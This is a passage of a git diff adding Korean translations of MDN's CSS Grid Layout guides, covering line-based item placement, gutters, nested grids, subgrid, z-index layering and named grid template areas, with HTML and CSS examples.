+<p>아래 예제에선 처음 두 개의 아이템을 세 개의 열 방향 트랙으로 구성된 그리드 위에 {{cssxref("grid-column-start")}}, {{cssxref("grid-column-end")}}, {{cssxref("grid-row-start")}} 그리고 {{cssxref("grid-row-end")}} 프로퍼티를 써서 배치합니다. 왼쪽에서 오른쪽으로 작업하면서, 첫 번째 아이템은 세로 열 방향의 1번 라인에 배치되고 세로 열 방향 4번 라인까지 확장됩니다. 이 경우에는 그리드의 맨 오른쪽 라인까지 해당합니다. 그리고 가로 방향의 라인을 기준으로 1번 라인부터 시작해서 행 3번 라인까지 차지하면서 결국, 두 개의 가로 행 트랙을 가로질러 걸치게 됩니다.</p>
+
+<p>두 번째 아이템은 그리드 세로 열의 1번 라인에서 시작해서 트랙 하나에 걸쳐 있습니다. 여기엔 기본값을 사용해서 마지막 라인은 지정할 필요가 없습니다. 가로 행 방향 라인을 기준으로 3번의 라인부터 5번 라인까지 두 개의 가로 행 트랙에 걸쳐 있습니다. 나머지 아이템은 그리드 빈 자라에 자동으로 배치됩니다.</p>
+
+<pre class="brush: html">&lt;div class="wrapper"&gt;
+  &lt;div class="box1"&gt;One&lt;/div&gt;
+  &lt;div class="box2"&gt;Two&lt;/div&gt;
+  &lt;div class="box3"&gt;Three&lt;/div&gt;
+  &lt;div class="box4"&gt;Four&lt;/div&gt;
+  &lt;div class="box5"&gt;Five&lt;/div&gt;
+&lt;/div&gt;
+</pre>
+
+<pre class="brush: css">.wrapper {
+  display: grid;
+  grid-template-columns: repeat(3, 1fr);
+  grid-auto-rows: 100px;
+}
+
+.box1 {
+  grid-column-start: 1;
+  grid-column-end: 4;
+  grid-row-start: 1;
+  grid-row-end: 3;
+}
+
+.box2 {
+  grid-column-start: 1;
+  grid-row-start: 3;
+  grid-row-end: 5;
+}
+</pre>
+
+<div class="hidden">
+<pre class="brush: css">* {box-sizing: border-box;}
+
+.wrapper {
+  border: 2px solid #f76707;
+  border-radius: 5px;
+  background-color: #fff4e6;
+}
+
+.wrapper &gt; div {
+  border: 2px solid #ffa94d;
+  border-radius: 5px;
+  background-color: #ffd8a8;
+  padding: 1em;
+  color: #d9480f;
+}
+
+.nested {
+  border: 2px solid #ffec99;
+  border-radius: 5px;
+  background-color: #fff9db;
+  padding: 1em;
+}
+</pre>
+</div>
+
+<p>{{ EmbedLiveSample('라인을_이용한_아이템_배치', '230', '420') }}</p>
+
+<p>파이어폭스 개발자 도구에 있는 <a href="/en-US/docs/Tools/Page_Inspector/How_to/Examine_grid_layouts">Grid Inspector</a>를 사용하면 아이템이 그리드 라인에 어떻게 배치되어 있는지 이해하기 훨씬 쉽다는 점도 잊지 마십시오.</p>
+
+<h2 id="그리드_셀">그리드 셀</h2>
+
+<p><em>그리드 셀</em>은 그리드에 있는 가장 작은 구성원입니다. 개념상 테이블에 있는 셀과 비슷합니다. 앞의 예제에서 보셨듯이, 부모 요소에 그리드를 정의하면 자식 아이템은 지정된 그리드 셀에 각자 하나씩 나열되어 배치됩니다. 아래 그림에서는 그리드의 첫 번째 셀을 강조 표시했습니다.</p>
+
+<p><img alt="강조 표시된 그리드의 첫 번째 셀" src="https://mdn.mozillademos.org/files/14643/1_Grid_Cell.png" style="height: 233px; width: 350px;"></p>
+
+<h2 id="그리드_영역">그리드 영역</h2>
+
+<p>아이템은 행 또는 열 방향 어느 쪽으로든 하나 이상의 셀에 걸쳐있을 수 있으며 이렇게 해서 <em>그리드 영역</em>을 만듭니다. 그리드 영역은 직사각형이어야 하며, 예를 들어 L 자 형태의 영역을 생성할 수 없습니다. 아래 강조 표시된 그리드 영역은 2개의 행과 2개의 열 트랙에 걸쳐 있습니다.</p>
+
+<p><img alt="그리드 영역의 예" src="https://mdn.mozillademos.org/files/14645/1_Grid_Area.png" style="height: 238px; width: 357px;"></p>
+
+<h2 id="경계_여백">경계 여백</h2>
+
+<p>그리드 셀 사이의 <em>경계 여백</em> 혹은 <em>간격은</em> {{cssxref("grid-column-gap")}} 및 {{cssxref("grid-row-gap")}} 프로퍼티를 지정해서 생성할 수 있으며, 짧게 {{cssxref("grid-gap")}}으로 지정할 수도 있습니다. 아래의 예제에서는 세로 열 사이의 간격은 10픽셀이고 가로 행 사이의 간격은 <code>1em</code>입니다.</p>
+
+<pre class="brush: css">.wrapper {
+  display: grid;
+  grid-template-columns: repeat(3, 1fr);
+  grid-column-gap: 10px;
+  grid-row-gap: 1em;
+}
+</pre>
+
+<pre class="brush: html">&lt;div class="wrapper"&gt;
+  &lt;div&gt;One&lt;/div&gt;
+  &lt;div&gt;Two&lt;/div&gt;
+  &lt;div&gt;Three&lt;/div&gt;
+  &lt;div&gt;Four&lt;/div&gt;
+  &lt;div&gt;Five&lt;/div&gt;
+&lt;/div&gt;
+</pre>
+
+<div class="hidden">
+<pre class="brush: css">* {box-sizing: border-box;}
+
+.wrapper {
+  border: 2px solid #f76707;
+  border-radius: 5px;
+  background-color: #fff4e6;
+}
+
+.wrapper &gt; div {
+  border: 2px solid #ffa94d;
+  border-radius: 5px;
+  background-color: #ffd8a8;
+  padding: 1em;
+  color: #d9480f;
+}
+
+.nested {
+  border: 2px solid #ffec99;
+  border-radius: 5px;
+  background-color: #fff9db;
+  padding: 1em;
+}
+</pre>
+</div>
+
+<p>{{ EmbedLiveSample('경계_여백') }}</p>
+
+<p>간격이 차지하는 공간은 길이가 유연한 <code>fr</code> 단위로 지정한 트랙에 할당하기 전에 우선 고려되어 배분됩니다. 그래서 일반 그리드 트랙처럼 간격은 크기 조정의 목적으로 활용될 수 있으나, 이 공간에는 아무것도 배치할 수 없습니다. 라인 기반 위치 지정 측면에선 간격은 그저 굵은 선처럼 작용합니다.</p>
+
+<h2 id="중첩_그리드">중첩 그리드</h2>
+
+<p>그리드 아이템은 자기 자신이 그리드 컨테이너가 될 수도 있습니다. 다음 예제는 이전에 생성했던 3개의 세로 열로 구성된 그리드가 있으며, 여기에 따로 위치가 지정된 두 개의 아이템을 배치해 놓은 모습입니다. 이번 경우엔 첫 번째 아이템이 몇 개의 하위 아이템을 포함하고 있습니다. 이 아이템들은 그리드 바로 밑에 있는 요소가 아니므로 그리드 레이아웃에 관여하지 않고 정상적인 문서 흐름에 따라 표시됩니다.</p>
+
+<div>
+<pre class="brush: html">&lt;div class="wrapper"&gt;
+  &lt;div class="box box1"&gt;
+    &lt;div class="nested"&gt;a&lt;/div&gt;
+    &lt;div class="nested"&gt;b&lt;/div&gt;
+    &lt;div class="nested"&gt;c&lt;/div&gt;
+  &lt;/div&gt;
+  &lt;div class="box box2"&gt;Two&lt;/div&gt;
+  &lt;div class="box box3"&gt;Three&lt;/div&gt;
+  &lt;div class="box box4"&gt;Four&lt;/div&gt;
+  &lt;div class="box box5"&gt;Five&lt;/div&gt;
+&lt;/div&gt;
+</pre>
+
+<p><img alt="문서 흐름에 따라 표시된 중첩 그리드" src="https://mdn.mozillademos.org/files/14641/1_Nested_Grids_in_flow.png" style="height: 512px; width: 900px;"></p>
+
+<p>만약에 <code>box1에</code> <code>display: grid를</code> 설정하면, 여기에 트랙을 정의할 수 있게 되면서 또 하나의 그리드를 생성하게 됩니다. 이렇게 해서 그 밑의 아이템들은 새 그리드 정의에 따라 배치됩니다.</p>
+
+<pre class="brush: css">.box1 {
+  grid-column-start: 1;
+  grid-column-end: 4;
+  grid-row-start: 1;
+  grid-row-end: 3;
+  display: grid;
+  grid-template-columns: repeat(3, 1fr);
+}
+</pre>
+
+<div class="hidden">
+<pre class="brush: css">* {box-sizing: border-box;}
+
+.wrapper {
+  border: 2px solid #f76707;
+  border-radius: 5px;
+  background-color: #fff4e6;
+}
+
+.box {
+  border: 2px solid #ffa94d;
+  border-radius: 5px;
+  background-color: #ffd8a8;
+  padding: 1em;
+  color: #d9480f;
+}
+
+.nested {
+  border: 2px solid #ffec99;
+  border-radius: 5px;
+  background-color: #fff9db;
+  padding: 1em;
+}
+</pre>
+</div>
+</div>
+
+<p>{{ EmbedLiveSample('중첩_그리드', '600', '340') }}</p>
+
+<p>이 경우 중첩된 그리드는 상위 부모 요소의 그리드와 아무런 관계가 없습니다. 예제에서 볼 수 있듯이 부모 요소의 {{cssxref("grid-gap")}}을 그대로 물려받지 않았고, 중첩된 그리드의 라인은 부모 요소의 그리드 라인과도 일렬로 정렬되지 않은 것을 확인하실 수 있습니다.</p>
+
+<h3 id="서브_그리드">서브 그리드</h3>
+
+<p>레벨 1 그리드 표준에는 <em>서브 그리드(subgrid)</em>라는 기능이 있어서 부모 요소에 있는 그리드 트랙의 정의를 중첩된 그리드에도 적용해서 생성할 수 있도록 하였습니다.</p>
+
+<div class="note">
+<p>서브 그리드는 아직 모든 브라우저에서 구현되지 않았고 나중에 표준이 변경될 수도 있습니다.</p>
+</div>
+
+<p>최근 작성된 표준에 따르면, 위 중첩 그리드 예시에 썼던 <code>display: grid</code> 대신 <code>display: subgrid</code>를 써주고 트랙의 정의는 제거합니다. 이렇게 하면 중첩된 그리드는 부모 요소의 그리드 트랙을 그대로 참고해서 아이템을 배치하게 됩니다.</p>
+
+<p>중첩된 그리드는 행과 열 모두에 걸쳐 있음을 유의해야 합니다. 서브 그리드를 작업할 때는 잠재적 그리드의 개념을 적용할 수 없습니다. 즉, 부모 요소의 그리드에 모든 하위 아이템들을 담을 만큼의 충분한 행과 열의 트랙이 있는지 꼭 확인해야 합니다.</p>
+
+<pre class="brush: css">.box1 {
+  grid-column-start: 1;
+  grid-column-end: 4;
+  grid-row-start: 1;
+  grid-row-end: 3;
+  display: subgrid;
+}
+</pre>
+
+<h2 id="z-index를_이용한_아이템_중첩도_조정"><code>z-index</code>를 이용한 아이템 중첩도 조정</h2>
+
+<p>그리드 아이템은 서로 같은 셀을 차지할 수 있습니다. 앞서 라인 번호로 아이템의 위치를 지정했던 예제로 돌아가서, 여기에 다음과 같이 두 아이템이 서로 자리가 겹치도록 수정합니다.</p>
+
+<div id="l_ex">
+<pre class="brush: html">&lt;div class="wrapper"&gt;
+  &lt;div class="box box1"&gt;One&lt;/div&gt;
+  &lt;div class="box box2"&gt;Two&lt;/div&gt;
+  &lt;div class="box box3"&gt;Three&lt;/div&gt;
+  &lt;div class="box box4"&gt;Four&lt;/div&gt;
+  &lt;div class="box box5"&gt;Five&lt;/div&gt;
+&lt;/div&gt;
+</pre>
+
+<pre class="brush: css">.wrapper {
+  display: grid;
+  grid-template-columns: repeat(3, 1fr);
+  grid-auto-rows: 100px;
+}
+
+.box1 {
+  grid-column-start: 1;
+  grid-column-end: 4;
+  grid-row-start: 1;
+  grid-row-end: 3;
+}
+
+.box2 {
+  grid-column-start: 1;
+  grid-row-start: 2;
+  grid-row-end: 4;
+}
+</pre>
+
+<div class="hidden">
+<pre class="brush: css">* {box-sizing: border-box;}
+
+.wrapper {
+  border: 2px solid #f76707;
+  border-radius: 5px;
+  background-color: #fff4e6;
+}
+
+.box {
+  border: 2px solid #ffa94d;
+  border-radius: 5px;
+  background-color: #ffd8a8;
+  padding: 1em;
+  color: #d9480f;
+}
+
+.nested {
+  border: 2px solid #ffec99;
+  border-radius: 5px;
+  background-color: #fff9db;
+  padding: 1em;
+}
+</pre>
+</div>
+</div>
+
+<p>{{ EmbedLiveSample('l_ex', '230', '420') }}</p>
+
+<p><code>box2</code> 아이템은 이제 <code>box1</code>과 겹치게 되고, 소스 순서에서 나중에 위치하므로 맨 위에 표시됩니다.</p>
+
+<h3 id="중첩의_순서_조정">중첩의 순서 조정</h3>
+
+<p>위치를 따로 지정한 아이템과 마찬가지로, 아이템이 위아래로 중첩되는 순서는 <code>z-index</code> 프로퍼티를 써서 제어할 수 있습니다. 만약에 <code>box2</code>에 <code>box1</code> 보다 더 낮은 <code>z-index</code>를 지정하면 <code>box1</code> 아래로 중첩되어 표시됩니다.</p>
+
+<pre class="brush: css">.wrapper {
+  display: grid;
+  grid-template-columns: repeat(3, 1fr);
+  grid-auto-rows: 100px;
+}
+
+.box1 {
+  grid-column-start: 1;
+  grid-column-end: 4;
+  grid-row-start: 1;
+  grid-row-end: 3;
+  z-index: 2;
+}
+
+.box2 {
+  grid-column-start: 1;
+  grid-row-start: 2;
+  grid-row-end: 4;
+  z-index: 1;
+}
+</pre>
+
+<div class="hidden">
+<pre class="brush: html">&lt;div class="wrapper"&gt;
+  &lt;div class="box box1"&gt;One&lt;/div&gt;
+  &lt;div class="box box2"&gt;Two&lt;/div&gt;
+  &lt;div class="box box3"&gt;Three&lt;/div&gt;
+  &lt;div class="box box4"&gt;Four&lt;/div&gt;
+  &lt;div class="box box5"&gt;Five&lt;/div&gt;
+&lt;/div&gt;
+</pre>
+
+<pre class="brush: css">* {box-sizing: border-box;}
+
+.wrapper {
+  border: 2px solid #f76707;
+  border-radius: 5px;
+  background-color: #fff4e6;
+}
+
+.box {
+  border: 2px solid #ffa94d;
+  border-radius: 5px;
+  background-color: #ffd8a8;
+  padding: 1em;
+  color: #d9480f;
+}
+
+.nested {
+  border: 2px solid #ffec99;
+  border-radius: 5px;
+  background-color: #fff9db;
+  padding: 1em;
+}
+</pre>
+</div>
+
+<p>{{ EmbedLiveSample('중첩의_순서_조정', '230', '420') }}</p>
+
+<h2 id="다음_단계">다음 단계</h2>
+
+<p>이 글에서는 Grid 레이아웃 표준 문서에 나와 있는 내용을 아주 간단히 살펴보았습니다. 코드 예제를 좀 더 연구해 보시고, <a href="https://developer.mozilla.org/ko/docs/Web/CSS/CSS_Grid_Layout/그리드_레이아웃과_다른_레이아웃_방법과의_관계">안내서의 다음 부분으로 넘어가서 CSS 그리드 레이아웃의 세부 사항을 조금 더 심도 있게 살펴보시기 바랍니다</a>.</p>
+
+<section class="Quick_links" id="Quick_Links">
+<ol>
+ <li><a href="/ko/docs/Web/CSS"><strong>CSS</strong></a></li>
+ <li><a href="/ko/docs/Web/CSS/Reference"><strong>CSS Reference</strong></a></li>
+ <li><a href="/ko/docs/Web/CSS/CSS_Grid_Layout">CSS 그리드 레이아웃</a></li>
+ <li data-default-state="open"><a href="#"><strong>가이드</strong></a>
+  <ol>
+   <li><a href="/ko/docs/Web/CSS/CSS_Grid_Layout/그리드_레이아웃의_기본_개념">그리드 레이아웃의 기본 개념</a></li>
+   <li><a href="/ko/docs/Web/CSS/CSS_Grid_Layout/그리드_레이아웃과_다른_레이아웃_방법과의_관계">다른 레이아웃 방법과의 관계</a></li>
+   <li><a href="/ko/docs/Web/CSS/CSS_Grid_Layout/CSS_그리드의_라인을_기준으로_한_아이템_배치">라인을 기준으로 한 아이템 배치</a></li>
+   <li><a href="/ko/docs/Web/CSS/CSS_Grid_Layout/그리드_템플릿_영역">그리드 템플릿 영역</a></li>
+   <li><a href="/ko/docs/Web/CSS/CSS_Grid_Layout/이름이_주어진_그리드_라인을_이용한_레이아웃">이름이 주어진 그리드 라인을 이용한 레이아웃</a></li>
+   <li><a href="/en-US/docs/Web/CSS/CSS_Grid_Layout/Auto-placement_in_CSS_Grid_Layout">Auto-placement in grid layout</a></li>
+   <li><a href="/en-US/docs/Web/CSS/CSS_Grid_Layout/Box_Alignment_in_CSS_Grid_Layout">Box alignment in grid layout</a></li>
+   <li><a href="/en-US/docs/Web/CSS/CSS_Grid_Layout/CSS_Grid,_Logical_Values_and_Writing_Modes">Grids, logical values and writing modes</a></li>
+   <li><a href="/en-US/docs/Web/CSS/CSS_Grid_Layout/CSS_Grid_Layout_and_Accessibility">CSS Grid Layout and Accessibility</a></li>
+   <li><a href="/en-US/docs/Web/CSS/CSS_Grid_Layout/CSS_Grid_and_Progressive_Enhancement">CSS Grid Layout and Progressive Enhancement</a></li>
+   <li><a href="/en-US/docs/Web/CSS/CSS_Grid_Layout/Realizing_common_layouts_using_CSS_Grid_Layout">Realizing common layouts using grids</a></li>
+  </ol>
+ </li>
+ <li data-default-state="open"><a href="#"><strong>프로퍼티</strong></a>
+  <ol>
+   <li><a href="/en-US/docs/Web/CSS/grid">grid</a></li>
+   <li><a href="/en-US/docs/Web/CSS/grid-area">grid-area</a></li>
+   <li><a href="/en-US/docs/Web/CSS/grid-auto-columns">grid-auto-columns</a></li>
+   <li><a href="/en-US/docs/Web/CSS/grid-auto-flow">grid-auto-flow</a></li>
+   <li><a href="/en-US/docs/Web/CSS/grid-auto-rows">grid-auto-rows</a></li>
+   <li><a href="/en-US/docs/Web/CSS/grid-column">grid-column</a></li>
+   <li><a href="/en-US/docs/Web/CSS/grid-column-end">grid-column-end</a></li>
+   <li><a href="/en-US/docs/Web/CSS/grid-column-gap">grid-column-gap</a></li>
+   <li><a href="/en-US/docs/Web/CSS/grid-column-start">grid-column-start</a></li>
+   <li><a href="/en-US/docs/Web/CSS/grid-gap">grid-gap</a></li>
+   <li><a href="/en-US/docs/Web/CSS/grid-row">grid-row</a></li>
+   <li><a href="/en-US/docs/Web/CSS/grid-row-end">grid-row-end</a></li>
+   <li><a href="/en-US/docs/Web/CSS/grid-row-gap">grid-row-gap</a></li>
+   <li><a href="/en-US/docs/Web/CSS/grid-row-start">grid-row-start</a></li>
+   <li><a href="/en-US/docs/Web/CSS/grid-template">grid-template</a></li>
+   <li><a href="/en-US/docs/Web/CSS/grid-template-areas">grid-template-areas</a></li>
+   <li><a href="/en-US/docs/Web/CSS/grid-template-columns">grid-template-columns</a></li>
+   <li><a href="/en-US/docs/Web/CSS/grid-template-rows">grid-template-rows</a></li>
+  </ol>
+ </li>
+ <li data-default-state="open"><a href="#"><strong>용어집</strong></a>
+  <ol>
+   <li><a href="/en-US/docs/Glossary/Grid">Grid</a></li>
+   <li><a href="/en-US/docs/Glossary/Grid_lines">Grid lines</a></li>
+   <li><a href="/en-US/docs/Glossary/Grid_tracks">Grid tracks</a></li>
+   <li><a href="/en-US/docs/Glossary/Grid_cell">Grid cell</a></li>
+   <li><a href="/en-US/docs/Glossary/Grid_areas">Grid areas</a></li>
+   <li><a href="/en-US/docs/Glossary/Gutters">Gutters</a></li>
+   <li><a href="/en-US/docs/Glossary/Grid_Axis">Grid Axis</a></li>
+   <li><a href="/en-US/docs/Glossary/Grid_rows">Grid row</a></li>
+   <li><a href="/en-US/docs/Glossary/Grid_column">Grid column</a></li>
+  </ol>
+ </li>
+</ol>
+</section>
diff --git a/files/ko/web/css/css_grid_layout/grid_template_areas/index.html b/files/ko/web/css/css_grid_layout/grid_template_areas/index.html
new file mode 100644
index 0000000000..10bfeb4262
--- /dev/null
+++ b/files/ko/web/css/css_grid_layout/grid_template_areas/index.html
@@ -0,0 +1,533 @@
+---
+title: Grid template areas
+slug: Web/CSS/CSS_Grid_Layout/Grid_template_areas
+tags:
+  - CSS
+  - CSS Grids
+  - Guide
+translation_of: Web/CSS/CSS_Grid_Layout/Grid_Template_Areas
+---
+<p><a href="https://developer.mozilla.org/ko/docs/Web/CSS/CSS_Grid_Layout/CSS_그리드의_라인을_기준으로_한_아이템_배치">이전 가이드</a>에서 우리는 그리드 라인에 대해서 살펴보았으며, 이 라인을 기준으로 어떻게 아이템들을 배치하는지 알아보았습니다. CSS 그리드 레이아웃으로 작업할 땐 거기엔 항상 라인이 있을 것이고, 이것은 아이템들을 그리드에 배치할 때 사용할 수 있는 아주 직관적인 방법이 될 수 있습니다. 그렇지만, 아이템을 그리드에 배치할 때 사용할 수 있는 또 다른 방법이 있는데, 이것은 독자적으로 혹은 라인 기준 배치 방법과 함께 혼용해서 사용할 수 있습니다. 이 방법은 이름이 지명된 템플릿 영역을 사용하여 아이템을 배치하는 작업과 연관돼 있으며, 이 방법이 정확히 어떻게 작동하는지 알아보겠습니다. 이것이 때때로 왜 그리드 레이아웃의 ascii-art 방식이라고 일컬어지는지 쉽게 눈치채실 수 있을 겁니다!</p>
+
+<h2 id="그리드_영역의_이름_짓기">그리드 영역의 이름 짓기</h2>
+
+<p>여러분은 이미 {{cssxref("grid-area")}} 프로퍼티와 마주친 적이 있을 겁니다. 이 프로퍼티는 그리드 영역의 위치를 잡는데 사용되는 모두 네 개의 라인 값을 취합니다.</p>
+
+<pre class="brush: css">.box1 {
+   grid-area: 1 / 1 / 4 / 2;
+}
+</pre>
+
+<p>이렇게 모두 네 개의 라인을 정의하는 작업은, 영역을 둘러싸는 라인을 지정해서 해당 영역이 차지하게 될 자리를 정의해 주는 것이라 할 수 있습니다.</p>
+
+<p><img alt="라인으로 정의된 그리드 영역" src="https://mdn.mozillademos.org/files/14667/4_Area.png" style="height: 354px; width: 951px;"></p>
+
+<p>이와 더불어서, 각 영역에 이름을 붙여서 정의할 수도 있으며, 각 영역의 위치는 {{cssxref("grid-template-areas")}} 프로퍼티의 값을 지정해서 정의할 수 있습니다. 영역의 이름은 원하시는 것 아무거나 선택해서 사용하실 수 있습니다. 예를 들어, 아래에 보이는 레이아웃을 만들고자 할 때, 다음과 같이 네 개의 주요 영역으로 구분할 수 있습니다.</p>
+
+<ul>
+ <li>a header</li>
+ <li>a footer</li>
+ <li>a sidebar</li>
+ <li>the main content</li>
+</ul>
+
+<p><img alt="단순하게 헤더와 푸터가 있는 두 개의 열로 구성된 레이아웃을 보여주는 그림" src="https://mdn.mozillademos.org/files/14669/4_Layout.png" style="height: 397px; width: 900px;"></p>
+
+<p>여기서 각 영역의 이름은 {{cssxref("grid-area")}} 프로퍼티로 지정할 수 있습니다. 이것은 아직 아무런 레이아웃도 생성하지 않지만, 이렇게 해서 레이아웃에 사용될 영역의 이름을 갖게 됩니다.</p>
+
+<div id="Grid_Area_1">
+<pre class="brush: css">.header {
+    grid-area: hd;
+}
+.footer {
+    grid-area: ft;
+}
+.content {
+    grid-area: main;
+}
+.sidebar {
+    grid-area: sd;
+}
+</pre>
+
+<p>이제 영역의 이름들을 정의하였으니 다음엔 원하는 레이아웃을 생성할 차례입니다. 이번엔, 아이템에 직접 지정된 라인 번호를 써서 아이템을 배치하는 대신에, 전체 레이아웃을 그리드 컨테이너에서 정의해 줍니다.</p>
+
+<pre class="brush: css">.wrapper {
+    display: grid;
+    grid-template-columns: repeat(9, 1fr);
+    grid-auto-rows: minmax(100px, auto);
+    grid-template-areas:
+      "hd hd hd hd   hd   hd   hd   hd   hd"
+      "sd sd sd main main main main main main"
+      "ft ft ft ft   ft   ft   ft   ft   ft";
+}
+</pre>
+
+<div class="hidden">
+<pre class="brush: css">* {box-sizing: border-box;}
+
+.wrapper {
+    border: 2px solid #f76707;
+    border-radius: 5px;
+    background-color: #fff4e6;
+    max-width: 940px;
+    margin: 0 auto;
+}
+
+.wrapper &gt; div {
+    border: 2px solid #ffa94d;
+    border-radius: 5px;
+    background-color: #ffd8a8;
+    padding: 1em;
+    color: #d9480f;
+}
+</pre>
+</div>
+
+<p> </p>
+
+<pre class="brush: html">&lt;div class="wrapper"&gt;
+    &lt;div class="header"&gt;Header&lt;/div&gt;
+    &lt;div class="sidebar"&gt;Sidebar&lt;/div&gt;
+    &lt;div class="content"&gt;Content&lt;/div&gt;
+    &lt;div class="footer"&gt;Footer&lt;/div&gt;
+&lt;/div&gt;</pre>
+
+<p>{{ EmbedLiveSample('Grid_Area_1', '300', '330') }}</p>
+</div>
+
+<p>이 방법을 쓰면 각각의 그리드 아이템들에 아무것도 지정해 줄 필요가 없으며, 그리드 컨테이너에서 모든 작업이 이루어집니다. 보셨다시피, 레이아웃은 {{cssxref("grid-template-areas")}} 프로퍼티의 값으로 기술됩니다.</p>
+
+<h2 id="그리드_셀_비워두기">그리드 셀 비워두기</h2>
+
+<p>먼젓번 예제에서는, 그리드의 모든 곳이 빈 곳 없이 영역들로 채워져 있습니다. 하지만, 다음에 소개될 레이아웃 방법을 써서 특정 그리드 셀이 공간으로 채워지도록 만들 수도 있습니다. 셀을 공간으로 남겨두려면 마침표 글자(<code>.</code>)를 사용하시면 됩니다. 예제 중 footer 부분을 main으로 표시된 콘텐츠 바로 아래에만 표시되도록 하려면, sidebar 밑에 있는 세 개의 셀을 비워두면 됩니다.</p>
+
+<pre class="brush: css">.header {
+    grid-area: hd;
+}
+.footer {
+    grid-area: ft;
+}
+.content {
+    grid-area: main;
+}
+.sidebar {
+    grid-area: sd;
+}
+</pre>
+
+<div class="hidden">
+<pre class="brush: css">* {box-sizing: border-box;}
+
+.wrapper {
+    border: 2px solid #f76707;
+    border-radius: 5px;
+    background-color: #fff4e6;
+    max-width: 940px;
+    margin: 0 auto;
+}
+
+.wrapper &gt; div {
+    border: 2px solid #ffa94d;
+    border-radius: 5px;
+    background-color: #ffd8a8;
+    padding: 1em;
+    color: #d9480f;
+}
+</pre>
+</div>
+
+<pre class="brush: css">.wrapper {
+    display: grid;
+    grid-template-columns: repeat(9, 1fr);
+    grid-auto-rows: minmax(100px, auto);
+    grid-template-areas:
+      "hd hd hd hd   hd   hd   hd   hd   hd"
+      "sd sd sd main main main main main main"
+      ".  .  .  ft   ft   ft   ft   ft   ft";
+}
+</pre>
+
+<pre class="brush: html">&lt;div class="wrapper"&gt;
+    &lt;div class="header"&gt;Header&lt;/div&gt;
+    &lt;div class="sidebar"&gt;Sidebar&lt;/div&gt;
+    &lt;div class="content"&gt;Content&lt;/div&gt;
+    &lt;div class="footer"&gt;Footer&lt;/div&gt;
+&lt;/div&gt;</pre>
+
+<p>{{ EmbedLiveSample('그리드_셀_비워두기', '300', '330') }}</p>
+
+<p>위 예제에서 레이아웃 정의 부분을 더 깔끔하게 보이도록 하려면 여러 개의 <code>.</code> 글자를 사용할 수도 있습니다. 여기서 마침표 사이가 하얀 공간으로 서로 띄워져 있지 않은 한 오직 하나의 셀로 계산됩니다. 아주 복잡한 레이아웃의 경우, 행과 열이 깔끔하게 정렬돼 있다면 훨씬 이해하기 쉬운 장점이 있을 겁니다. 이렇게 하면, CSS를 작업하면서 실제 레이아웃이 어떤 모습으로 보일지 쉽게 눈으로 확인하실 수도 있다는 뜻입니다.</p>
+
+<h2 id="다중_셀에_걸쳐_확장하기">다중 셀에 걸쳐 확장하기</h2>
+
+<p>앞선 예제에선 영역들이 다중 셀에 걸쳐서 확장되었는데, 이것은 그리드 영역의 이름을 빈 여백을 사이에 두고 여러 번 반복해서 이루었습니다. 여기서 <code>grid-template-areas</code> 값으로 지정한 부분은 깔끔하게 위아래로 줄이 맞아 떨어지도록 여분의 공백을 추가할 수도 있습니다. 위 예제에선, <code>main</code> 부분과 정렬되도록 <code>hd</code>와 <code>ft</code> 영역 이름에 공백이 추가된 것을 확인하실 수 있습니다.</p>
+
+<p>영역 이름을 연달아 늘어놓아서 만들어진 영역은 직사각형이어야 하며, 이 시점에서 L 모양의 영역을 만들 수는 없습니다. 표준 명세서에선 아마도 다음번 레벨에서 이 기능이 추가될 수도 있음을 명시하고 있습니다. 그렇지만, 영역을 열 방향과 마찬가지로 행 방향으로도 쉽게 확장할 수 있습니다. 예를 들어, 사이드바 영역에 있는 비어있는 셀을 뜻하는 <code>.</code> 대신에 그 자리를 <code>sd</code>로 대치해서 footer 밑부분까지 확장하도록 정의해 줄 수 있습니다.</p>
+
+<pre class="brush: css">.header {
+    grid-area: hd;
+}
+.footer {
+    grid-area: ft;
+}
+.content {
+    grid-area: main;
+}
+.sidebar {
+    grid-area: sd;
+}
+</pre>
+
+<div class="hidden">
+<pre class="brush: css">* {box-sizing: border-box;}
+
+.wrapper {
+    border: 2px solid #f76707;
+    border-radius: 5px;
+    background-color: #fff4e6;
+    max-width: 940px;
+    margin: 0 auto;
+}
+
+.wrapper &gt; div {
+    border: 2px solid #ffa94d;
+    border-radius: 5px;
+    background-color: #ffd8a8;
+    padding: 1em;
+    color: #d9480f;
+}
+</pre>
+</div>
+
+<pre class="brush: css">.wrapper {
+    display: grid;
+    grid-template-columns: repeat(9, 1fr);
+    grid-auto-rows: minmax(100px, auto);
+    grid-template-areas:
+      "hd hd hd hd   hd   hd   hd   hd   hd"
+      "sd sd sd main main main main main main"
+      "sd sd sd  ft  ft   ft   ft   ft   ft";
+}
+</pre>
+
+<div class="hidden">
+<pre class="brush: html">&lt;div class="wrapper"&gt;
+    &lt;div class="header"&gt;Header&lt;/div&gt;
+    &lt;div class="sidebar"&gt;Sidebar&lt;/div&gt;
+    &lt;div class="content"&gt;Content&lt;/div&gt;
+    &lt;div class="footer"&gt;Footer&lt;/div&gt;
+&lt;/div&gt;</pre>
+</div>
+
+<p>{{ EmbedLiveSample('다중_셀에_걸쳐_확장하기', '300', '330') }}</p>
+
+<p>{{cssxref("grid-template-areas")}} 값은 그리드 전체를 나타내야 하며, 그렇지 않으면 틀린 것으로 간주하여 결국 프로퍼티는 무시됩니다. 이 얘기는 각 줄의 셀 숫자가 모두 같아야 한다는 뜻이며, 비어있는 경우는 마침표 문자를 써서 셀이 비어있음을 표시해 주어야 합니다. 또한, 영역이 직사각형이 아니라면 유효하지 않은 그리드를 생성하게 됩니다.</p>
+
+<h2 id="미디어_큐어리(media_queries)를_이용한_그리드_재정의">미디어 큐어리(media queries)를 이용한 그리드 재정의</h2>
+
+<p>이제는 레이아웃이 CSS의 한 부분으로 들어오면서, 서로 다른 브레이크포인트에 대응해서 변하게 만드는 것이 훨씬 쉬워졌습니다. 이 작업은 그리드를 재정의하거나, 그리드에 있는 아이템의 위치를 바꿔줄 수도 있으며, 혹은 한꺼번에 두 가지 모두를 진행할 수도 있습니다.</p>
+
+<p>이 작업을 할 때 주의할 점은, 미디어 큐어리 밖에서 영역의 이름을 정의해야 한다는 것입니다. 이렇게 해야 가령 콘텐츠 영역의 경우, 그리드 위 어느 곳에 배치되든 상관없이 항상 해당 영역을 <code>main</code>으로 지칭할 수 있게 됩니다.</p>
+
+<p>위 예제에 있는 레이아웃을 가지고, 만약 너비가 좁을 때는 아주 단순한 레이아웃을 형성하도록 단일 열 형태의 그리드를 정의해서 아이템들이 서로 중첩되도록 하였습니다.</p>
+
+<div class="hidden">
+<pre class="brush: css">* {box-sizing: border-box;}
+
+.wrapper {
+    border: 2px solid #f76707;
